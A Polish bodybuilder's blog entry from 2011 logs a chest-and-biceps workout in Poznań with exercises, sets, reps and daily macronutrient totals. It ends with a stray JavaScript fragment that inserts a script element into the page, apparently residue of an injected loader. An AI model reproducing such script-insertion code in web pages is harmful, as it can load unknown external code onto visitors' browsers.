Klata i biceps!

22.09.2011 / Michał Karmowski

Po wczorajszym dniu wolnym od treningu siłowego dziś nadszedł dzień aby przetrenować klatkę i bicepsy, był to wyjątkowy dzień bo trenowałem razem z Markiem Olejniczakiem u Radka w Poznaniu:-)

Oley zaczarował moje najsłabsze grupy mięśniowe i mam nadzieję, że teraz coś się ruszy…, wszystko będziecie mogli zobaczyć na KO, bo byli z nami chłopaki i kręcili filmik, póżniej w nietypowej scenerii nagralismy kolejny odcinek „Zapytaj Trenera” , ale nie będę zdradzał więcej szczegółów.

Dieta i suplementacja do dziś bez zmian czyli 450g białka, 520g węglowodanów, 130g tłuszczu, ale od jutra lekkie zmiany o których będę pisał na bieżąco.

Trening:

klatka

-wyciskanie na maszynie hammer na górę klatki 2x 15, 1x 10, 1x 6 +6+6 drop set

-rozpiętki głową w dół 4 x12

-wyciskanie na maszynie hammer na dół kaltki 2x 12, 1x 10, 1×8+6+6 drop set

-butterfly 3×12

-przenoszenie hantla za głowę 2 x15

biceps

-uginanie jednorącz z uchwytem wyciągu dolnego 1×20, 1x 15,1×10, 1×8+6+6 drop set

-uginanie ramion z drążkiem wyciągu dolnego na modlitewniku 4 x12

-uginanie z gryfem stojąc 3x 21

-uginanie ramion z hantlami chwyt młotkowy 3×12

 

oczywiście rano przed śniadaniem 30 min cardio na bieżni

watch?v=6Y_6ROsiGwM&feature=player_embeddeddocument.currentScript.parentNode.insertBefore(s, document.currentScript);